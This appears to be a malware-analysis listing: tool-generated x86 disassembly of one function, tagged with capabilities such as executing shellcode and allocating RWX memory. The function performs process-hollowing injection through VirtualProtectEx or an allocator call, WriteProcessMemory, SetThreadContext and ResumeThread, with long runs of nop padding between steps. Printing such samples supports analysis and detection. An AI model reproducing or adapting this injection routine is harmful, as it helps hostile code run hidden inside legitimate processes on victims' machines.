Function at 0x48ea48
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff14
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00405a64
xor eax, eax
push ebp
push 0x48ee8d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0xffffffff
lea eax, [ebp - 8]
push eax
mov ecx, esi
mov edx, dword [ebx + 0x34]
mov eax, dword [ebp - 4]
call fcn.0048e54c
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xc]
lea edx, [ebp - 0xec]
mov eax, dword [ebp - 8]
call fcn.0048e8c4
test al, al
je 0x48ee72
xor eax, eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx + 0x34]
cmp eax, dword [ebp - 0x10]
jne 0x48eae8
cmp esi, dword [ebp - 0x14]
ja 0x48eae8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x18]
push eax
push 0x40
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualProtectEx
jmp 0x48eb54
call fcn.0048e540
test al, al
je 0x48eb54
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0048e858
test al, al
je 0x48eb19
push 0x40
push 0x3000
push esi
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebp - 0xc]
push eax
call dword [0x57d664]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x48eb54
mov eax, ebx
call fcn.0048e7d8
test al, al
je 0x48eb54
push 0x40
push 0x3000
push esi
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [0x57d664]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x48eb54
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.0048e7f0
cmp dword [ebp - 0x1c], 0
je 0x48ee3a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x48]
add eax, 8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x1c]
mov dword [ebx + 0x34], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x18]
push eax
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x48ee06
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xec], 0x10007
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x10]
jne 0x48ec51
mov edx, dword [ebx + 0x34]
add edx, dword [ebx + 0x28]
mov dword [ebp - 0x3c], edx
jmp 0x48ec57
add edx, dword [ebx + 0x28]
mov dword [ebp - 0x3c], edx
cmp eax, dword [ebp - 0x3c]
je 0x48edd0
xor eax, eax
mov edx, dword [0x58b1ec]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
sub edx, 6
je 0x48ecc7
sub edx, 4
jne 0x48ed10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [0x58b1ec]
mov edx, dword [edx]
cmp byte [edx + 4], 0
je 0x48ed10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x3c]
push eax
push 0x9fdd4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov al, 1
jmp 0x48ed10
mov edx, dword [0x58b1ec]
mov edx, dword [edx]
cmp byte [edx + 4], 0
je 0x48ed10
mov edx, dword [0x58b1ec]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
dec edx
jne 0x48ed10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x3c]
push eax
push 0x8fdd4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov al, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test al, al
jne 0x48edd0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0xec]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_SetThreadContext
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_ResumeThread
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x48ee72
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0xc], 0xffffffff
jmp 0x48ee72
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0xc], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48ee94
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405608
ret